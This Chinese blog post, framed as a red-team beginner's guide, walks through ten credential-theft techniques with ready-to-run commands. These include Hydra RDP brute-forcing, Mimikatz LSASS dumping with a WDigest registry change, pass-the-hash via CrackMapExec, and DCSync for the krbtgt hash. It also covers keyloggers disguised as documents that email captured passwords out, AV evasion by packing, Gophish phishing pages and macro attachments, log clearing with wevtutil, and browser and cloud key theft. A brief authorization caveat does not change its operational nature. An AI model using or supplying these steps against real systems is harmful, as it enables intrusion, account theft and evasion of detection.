序章:我从 “拿 shell 就停” 到 “追凭证到底” 的红队觉醒
刚做红队时,我总陷入一个误区:拿到目标机器的 WebShell 就沾沾自喜,以为 “拿下了主机”。直到某次项目,客户内网做了严格的分段隔离,我拿着单台机器的权限寸步难行 —— 想横向移动到数据库服务器,缺账号密码;想登录域控,连基本的域账号都没有。
带队的老红队工程师看着我手足无措的样子,说:“红队的核心不是‘拿一台机器’,是‘掌控整个内网’,而凭证就是打开内网大门的钥匙。” 那天,他用 Mimikatz 从内存里抓取到本地管理员 hash,再通过 Pass-the-Hash(PtH)登录了相邻的文件服务器,整个过程不到 5 分钟。
从那以后,我开始深耕 “凭证获取”,在 10 + 红队项目里总结出 10 个实战方法 —— 从零基础能上手的弱口令爆破,到需要进阶技巧的域控凭证抓取,每个方法都附具体步骤、工具和避坑指南。这篇文章,帮你从 “只会拿 shell” 的新手,变成 “能掌控内网凭证” 的红队选手。
一、先搞懂:红队为什么要拼了命拿凭证?
在讲方法前,必须先明确一个核心逻辑:凭证比 shell 更重要。对红队而言,“shell 是临时的,凭证是长久的”—— 机器重启后 shell 可能消失,但拿到的账号密码、hash 值,能反复登录内网机器,甚至直接拿下域控。
先看一张红队凭证获取的核心链路图,理解凭证在整个攻防中的作用:

从链路能看出,每一步都依赖 “前一步获取的凭证”。比如:没有本地管理员凭证,就无法横向移动;没有域账号凭证,就碰不到域控的边。
对零基础来说,不用一开始就追求 “域控凭证”,先从 “本地凭证获取” 入手,逐步进阶。下面 10 个方法,按 “基础→进阶→高阶” 排序,每个方法都标注了难度和适用场景。
二、红队凭证获取 10 个实战方法(附零基础操作指南)
方法 1:弱口令爆破 —— 零基础最易上手,成功率却不低
原理:利用用户设置的简单密码(如 123456、admin@123),通过工具批量尝试登录,获取合法凭证。难度:★☆☆☆☆(零基础 1 小时就能上手)适用场景:远程登录服务(RDP、SSH)、数据库(MySQL、MSSQL)、Web 后台(OA、CMS)
实战步骤(以 RDP 爆破为例):
-
准备工具:Hydra(跨平台爆破工具,支持 RDP/SSH/MySQL 等)、用户名字典(user.txt,如 admin、administrator)、密码字典(pass.txt,推荐 Top1000 弱口令);
-
执行爆破命令:
hydra -L user.txt -P pass.txt 192.168.1.100 rdp -vV -o rdp_success.txt-L:指定用户名字典;-P:指定密码字典;rdp:目标服务类型;-vV:显示详细过程;-o:保存成功结果;
-
查看结果:打开 rdp_success.txt,会显示 “administrator:123456@192.168.1.100” 这类成功的凭证。
我的实战案例:
某次医疗行业红队项目,我用 Hydra 爆破客户内网 192.168.3.0/24 段的 RDP 服务,1 小时内就拿到 3 台机器的 administrator 账号(密码都是 “hospital@2023”),直接通过远程桌面登录,省去了找 Web 漏洞的时间。
注意事项:
- 避免 “暴力跑全量字典”:用小字典(如 Top500 弱口令)先测试,减少日志告警;
- 针对行业定制字典:比如教育行业用 “school + 年份”(school2024),金融行业用 “bank + 密码”(bank@123)。
方法 2:配置文件泄露 —— 从代码里 “捡” 现成凭证
原理:开发人员常把账号密码写在配置文件里(如 Web 的 config.php、Windows 的.ini 文件),若配置文件被泄露,就能直接拿到凭证。难度:★★☆☆☆(需会用目录扫描工具)适用场景:Web 服务器、应用服务器(Tomcat、JBoss)
实战步骤(以 Web 配置文件为例):
-
扫描 Web 目录:用 dirsearch 工具扫描目标网站,寻找敏感配置文件,命令:
python3 dirsearch.py -u http://192.168.1.101 -e php,ini,conf -w common.txt-e:指定文件后缀;-w:指定目录字典;
-
下载配置文件:
若扫描到 “/config.php”,直接访问该路径下载文件,打开后搜索 “username”“password” 关键词,比如:
php
$db_user = "root"; $db_pass = "mysql@2024!"; $db_host = "192.168.1.102:3306"; -
验证凭证:用 Navicat 连接 192.168.1.102 的 MySQL,输入 root 和 mysql@2024!,成功登录后可读取数据库,甚至通过 UDF 提权拿到服务器权限。
避坑指南:
- 有些配置文件会加密(如用 base64):遇到 “SGVsbG8xMjM=” 这类字符串,用 base64 解码工具(https://base64.us/)解密;
- Windows 配置文件位置:重点找 “C:\Program Files\ 应用名 \config.ini”“C:\inetpub\wwwroot\web.config”。
方法 3:键盘记录 —— 悄无声息抓明文密码
原理:在目标机器植入键盘记录工具,记录用户输入的账号密码(如登录 QQ、浏览器、远程桌面时的输入),适合无法直接抓取 hash 的场景。难度:★★☆☆☆(需简单免杀处理)适用场景:有本地交互的机器(如员工办公电脑)、无法抓取 hash 的高版本 Windows(Win10/11)
实战步骤:
-
选择工具:推荐微步键盘记录器(免费版足够用)、Ardamax Keylogger(功能更全,需破解);
-
生成 payload:打开工具,设置 “记录保存路径”(如 C:\Windows\Temp\log.txt)、“自动发送日志到邮箱”(避免手动取文件),生成 exe 文件;
-
植入目标机器:通过 WebShell 上传 payload,或伪装成 “工作文档.exe” 诱导用户双击运行;
-
获取日志:
若设置了邮箱发送,会收到包含键盘记录的邮件,比如:
“2024-05-20 14:30: 远程桌面登录:username=admin,password=Admin@1234”。
我的踩坑经历:
刚开始用未免杀的键盘记录器,上传到目标机器就被 360 拦截。后来用 “UPX 加壳 + 资源修改”(把 exe 图标改成 Word 图标),成功率提升到 80%—— 新手一定要做基础免杀,不然工具根本跑不起来。
方法 4:内存取证 —— 用 Mimikatz 抓 hash / 明文密码
原理:Windows 系统会把用户登录密码暂存到内存中(如 LSASS 进程),通过 Mimikatz 读取内存数据,可获取 NTLM hash 或明文密码,是红队最常用的凭证获取手段。难度:★★★☆☆(需了解 Windows 权限)适用场景:Windows XP/7/10/11(Win10/11 需关闭 WDAC 或用特殊版本 Mimikatz)
实战步骤:
-
上传 Mimikatz:通过 WebShell 或远程桌面,把 mimikatz.exe 传到目标机器的 C:\Windows\Temp 目录;
-
运行 Mimikatz 并提权:
打开 cmd,切换到 Temp 目录,执行命令:
mimikatz.exe privilege::debug # 开启调试权限(必须执行,否则报错) sekurlsa::logonPasswords # 读取内存中的凭证 -
提取凭证:
命令执行后,会显示所有登录用户的信息,重点看 “NTLM”(hash 值)和 “Password”(明文密码),比如:
“Username: Administrator,NTLM: 32ed87bdb5fdc5e9cba88547376818d4,Password: Win@2024!”。
关键技巧:
-
Win10/11 抓不到明文密码?:因为微软默认禁用了内存明文存储,需先执行命令开启:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f(执行后需用户重新登录才生效);
-
免杀 Mimikatz:用 “mimikatz_trunk_x64.exe”(免杀版本),或把 Mimikatz 注入到正常进程(如 notepad.exe)中运行,躲避杀毒软件。
方法 5:Pass-the-Hash(PtH)—— 用 hash 代替明文登录
原理:Windows 登录时会验证 NTLM hash,而非明文密码。拿到目标机器的 NTLM hash 后,无需破解,直接用工具(如 PsExec、CrackMapExec)模拟登录,避免 “明文密码难获取” 的问题。难度:★★★☆☆(需掌握 hash 传递工具)适用场景:已获取目标机器 NTLM hash,但无明文密码,且目标开启了 SMB 服务(445 端口)
实战步骤(以 CrackMapExec 为例):
-
准备工具:CrackMapExec(简称 CME,跨平台工具,支持 hash 传递),需提前安装 Python 环境;
-
执行 hash 传递命令:
crackmapexec smb 192.168.1.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4 --shares-u:目标用户名;-H:NTLM hash 值;--shares:查看目标机器的共享目录;
-
登录目标机器:
若显示 “[+] 192.168.1.103:445 - Success”,说明 hash 传递成功,可进一步用 PsExec 获取 shell:
psexec.exe \\192.168.1.103 -u administrator -p "" -h cmd.exe # -p "" 表示用hash登录
实战场景:
某次项目,我拿到一台 Win7 机器的 administrator hash(无明文密码),用 CME 扫描内网 192.168.2.0/24 段,发现有 5 台机器用了相同的 hash,直接批量登录,2 小时内拿下整个部门的机器 ——hash 传递的效率远超逐台爆破。
方法 6:钓鱼攻击 —— 诱导用户 “主动交凭证”
原理:制作伪装的登录页面(如企业 OA、邮箱登录页)或恶意附件,通过邮件 / 聊天工具发给目标用户,诱导用户输入账号密码,从而获取凭证。是红队 “从外到内” 获取域账号的核心方法。难度:★★★☆☆(需搭建钓鱼平台)适用场景:无初始立足点,需从外部突破内网;需获取高权限域账号(如财务、IT 管理员)
实战步骤(用 Gophish 搭建钓鱼平台):
-
搭建 Gophish:
在 VPS 上部署 Gophish(Docker 版最方便),命令:
docker run -d -p 3333:3333 -p 80:80 --name gophish jordan-wright/gophish- 访问 http://VPSIP:3333 登录 Gophish 后台(默认账号 admin,密码在日志中查看);
-
制作钓鱼模板:
- 新建 “Email Template”:伪装成企业 IT 部门的 “OA 系统升级通知”,内容含钓鱼链接(如 http://VPSIP/login);
- 新建 “Landing Page”:复制真实 OA 登录页的 HTML 代码,修改表单提交地址为 Gophish,用户输入的凭证会被记录;
-
发送钓鱼邮件:导入目标用户邮箱列表,选择模板和链接,点击发送;
-
查看结果:在 Gophish 后台的 “Results” 中,可看到 “谁点击了链接”“输入了什么凭证”,比如 “user=zhang3,password=Zhang@OA2024”。
优化技巧:
- 钓鱼链接伪装:用短链接工具(如tinyurl.com)把 VPSIP 改成 “企业相关域名”(如oa-update.company.com);
- 附件钓鱼:把恶意宏文件(如 “2024 年工资表.docm”)作为附件,用户启用宏后,自动记录键盘或上传凭证到 VPS。
方法 7:数据库凭证窃取 —— 从数据库里 “扒” 高权限账号
原理:很多应用会把管理员账号、域账号存储在数据库中(如 CMS 的管理员表、ERP 的用户表),拿到数据库权限后,可直接读取这些凭证,进而登录其他系统。难度:★★★☆☆(需会操作数据库)适用场景:已获取数据库权限(如 MySQL、MSSQL),且数据库中存储了敏感账号。
实战步骤(以 MySQL 为例):
-
登录数据库:
用 Navicat 或 cmd 登录 MySQL,命令:
mysql -h 192.168.1.102 -u root -p # 输入密码mysql@2024! -
查找敏感表:
执行命令查看所有数据库和表,重点找 “user”“admin”“manager” 相关的表:
show databases; # 查看数据库,如cms_db use cms_db; # 切换到cms_db数据库 show tables; # 查看表,如cms_admin -
读取凭证:
查询 cms_admin 表的内容,命令:
select username,password from cms_admin;若密码是明文,直接获取;若加密(如 MD5),用在线破解工具(https://www.cmd5.com/)解密,比如 “e10adc3949ba59abbe56e057f20f883e” 解密后是 “123456”。
扩展场景:
MSSQL 数据库更 “值钱”—— 很多企业会把域账号作为 MSSQL 的 “Windows 身份验证” 账号,若拿到 MSSQL 的 sysadmin 权限,可执行 “xp_cmdshell” 获取服务器 shell,进而抓取域账号凭证。
方法 8:第三方应用凭证获取 —— 从 “弱配置” 应用里找漏洞
原理:目标机器上的第三方应用(如浏览器、FTP 客户端、VPN 软件)会保存用户登录凭证,通过工具读取这些应用的配置文件或注册表,可获取明文凭证。难度:★★★★☆(需了解应用存储机制)适用场景:目标机器安装了常用客户端软件(如 Chrome、FileZilla、AnyConnect)
实战步骤(以 Chrome 浏览器为例):
- 定位凭证存储路径:Chrome 的密码存储在 “C:\Users\ 用户名 \AppData\Local\Google\Chrome\User Data\Default\Login Data”(SQLite 数据库文件);
- 读取数据库:用 SQLite Browser 打开 Login Data 文件,查询 “logins” 表,字段 “origin_url” 是网站地址,“username_value” 是账号,“password_value” 是加密后的密码;
- 解密密码:Chrome 的密码用 Windows 的 DPAPI 加密,需在目标机器上用工具解密,推荐 “ChromePass”,运行后直接显示明文密码,比如 “origin_url=https://mail.qq.com,username=123456@qq.com,password=Qq@123456”。
常用工具列表:
| 目标应用 | 工具推荐 | 凭证存储位置 |
|---|---|---|
| Chrome/Firefox | ChromePass、FirefoxPasswordView | AppData 目录下的 SQLite 文件 |
| FileZilla | FileZilla Password Decryptor | %APPDATA%\FileZilla\recentservers.xml |
| VPN(AnyConnect) | AnyConnect Password Viewer | 注册表:HKCU\Software\Cisco\AnyConnect |
方法 9:域控凭证抓取 —— 用 DCSync “复制” 域内全量凭证
原理:域控(DC)存储了所有域用户的 NTLM hash,通过 DCSync 攻击(模拟域控之间的同步行为),可从域控上 “复制” 所有用户的凭证,是红队 “拿下整个域” 的终极手段。难度:★★★★★(需高权限,且有域环境)适用场景:已获取域内高权限账号(如 Domain Admin),需获取全量域用户凭证
实战步骤(用 Mimikatz 执行 DCSync):
-
确保账号权限:必须使用 Domain Admin 权限的账号登录域内机器(非域控也可);
-
执行 DCSync 命令:
mimikatz.exe privilege::debug lsadump::dcsync /domain:company.com /user:krbtgt # 获取krbtgt账号hash(用于黄金票据) lsadump::dcsync /domain:company.com /all /csv # 获取所有域用户凭证,保存为CSV文件 -
提取凭证:命令执行后,会输出所有域用户的 NTLM hash、SID 等信息,比如 “krbtgt:502:NTLM=8846f7eaee8fb11d1206b6e4f1529d3a2:::”—— 拿到 krbtgt hash 后,可制作黄金票据,实现 “无凭证登录任何域内机器”。
风险提示:
DCSync 攻击会在域控日志中留下明显痕迹(Event ID 4662、5140),需在执行后清理日志(用 wevtutil 命令),且仅在红队项目后期使用,避免提前暴露。
方法 10:云环境凭证窃取 —— 从云服务器 / 容器里找密钥
原理:云环境(如 AWS、阿里云、腾讯云)的凭证(如 AccessKey、SecretKey)常被开发人员硬编码在配置文件或环境变量中,拿到这些凭证后,可登录云控制台,控制云资源(如 ECS、RDS)。难度:★★★★☆(需了解云环境)适用场景:目标使用云服务,需获取云资源控制权
实战步骤(以阿里云为例):
-
查找 AccessKey:
-
配置文件:查看 “/root/.aliyun/config.json”(Linux)或 “C:\Users\ 用户名.aliyun\config.json”(Windows);
-
环境变量:执行
echo $ALIYUN_ACCESS_KEY_ID(Linux)或set ALIYUN(Windows),查看是否有云凭证; -
代码文件:搜索项目代码中的 “accessKeyId”“secretAccessKey” 关键词,比如 Java 代码中的:
String accessKeyId = "LTAI5tFxxxxxxxxx"; String secretAccessKey = "8xxxxxxxxx";
-
-
验证凭证权限:登录阿里云控制台(https://console.aliyun.com),输入 AccessKey 和 SecretKey,查看权限(如是否能管理 ECS、修改安全组);
-
扩展攻击:用阿里云 CLI 工具执行命令,比如列出所有 ECS 实例:
aliyun ecs DescribeInstances --RegionId cn-beijing --AccessKeyId LTAI5tFxxxxxxxxx --AccessKeySecret 8xxxxxxxxx
常见云凭证位置:
| 云厂商 | 凭证类型 | 常见存储位置 |
|---|---|---|
| 阿里云 | AccessKey/SecretKey | ~/.aliyun/config.json、环境变量、代码文件 |
| AWS | AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY | ~/.aws/credentials、EC2 实例元数据 |
| 腾讯云 | SecretId/SecretKey | ~/.tccli/default.config、环境变量 |
三、10 个方法对比与零基础学习路径
1. 方法对比表(帮你快速选对方案)
| 方法 | 难度 | 隐蔽性 | 适用场景 | 核心工具 |
|---|---|---|---|---|
| 弱口令爆破 | ★☆☆☆☆ | 低(易触发日志告警) | 远程服务、Web 后台 | Hydra、Medusa |
| 配置文件泄露 | ★★☆☆☆ | 高(无交互,难察觉) | Web 服务器、应用服务器 | dirsearch、Burp Suite |
| 键盘记录 | ★★☆☆☆ | 中(需运行 payload) | 办公电脑、高版本 Windows | 微步键盘记录器、Ardamax |
| 内存取证(Mimikatz) | ★★★☆☆ | 中(需提权,易被查杀) | 所有 Windows 系统 | Mimikatz |
| Pass-the-Hash | ★★★☆☆ | 高(无明文传输) | 已获取 NTLM hash,需横向移动 | CrackMapExec、PsExec |
| 钓鱼攻击 | ★★★☆☆ | 高(用户主动配合) | 外部突破、获取域账号 | Gophish、Empire |
| 数据库凭证窃取 | ★★★☆☆ | 高(仅操作数据库) | 已获取数据库权限 | Navicat、SQLite Browser |
| 第三方应用凭证 | ★★★★☆ | 高(工具轻量,难察觉) | 安装客户端软件的机器 | ChromePass、FileZilla Decryptor |
| 域控 DCSync | ★★★★★ | 低(日志痕迹明显) | 域环境,需全量域凭证 | Mimikatz、Cobalt Strike |
| 云环境凭证窃取 | ★★★★☆ | 高(无交互,仅读文件) | 云服务器、容器环境 | 文本编辑器、云 CLI 工具 |

四、红队凭证获取的 3 个核心原则(新手必看)
- 合法合规是底线:所有测试必须获取客户书面授权,禁止对未授权目标下手 —— 我曾见过有人用钓鱼攻击测试朋友公司,结果被网警传唤,面临行政处罚;
- 隐蔽性优先:能抓 hash 就不抓明文,能 hash 传递就不爆破,能钓鱼就不直接攻击 —— 比如用 Mimikatz 时,尽量注入到正常进程(如 notepad),避免直接运行 exe 触发杀毒软件;
- 凭证要 “复用”:拿到一个凭证后,先用 CME 扫描内网,看是否能登录多台机器(很多企业会用统一密码),避免重复劳动 —— 我曾用一个域账号的 hash,登录了内网 23 台机器,效率极高。
结语:凭证是红队的 “核武器”,但技术之外更需思维
做红队 3 年,我最大的感悟是:凭证获取不只是 “用工具”,更是 “猜人心”—— 弱口令是因为用户 “怕麻烦”,配置文件泄露是因为开发 “图省事”,钓鱼成功是因为用户 “信权威”。
对零基础来说,不用一开始就追求 “DCSync”“黄金票据” 这些高阶技巧,先把 “弱口令爆破”“配置文件泄露” 练熟,在实战中积累经验。当你能从 “每一个细节” 里找到凭证(比如从 Web 注释里发现密码、从员工聊天记录里猜出口令),你就真正掌握了红队凭证获取的核心能力。
最后送新手一句话:“红队的终极目标不是‘破坏’,而是‘发现漏洞并帮助修复’—— 凭证是我们的工具,而责任感才是我们的底线。”
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取




被折叠的 条评论
为什么被折叠?



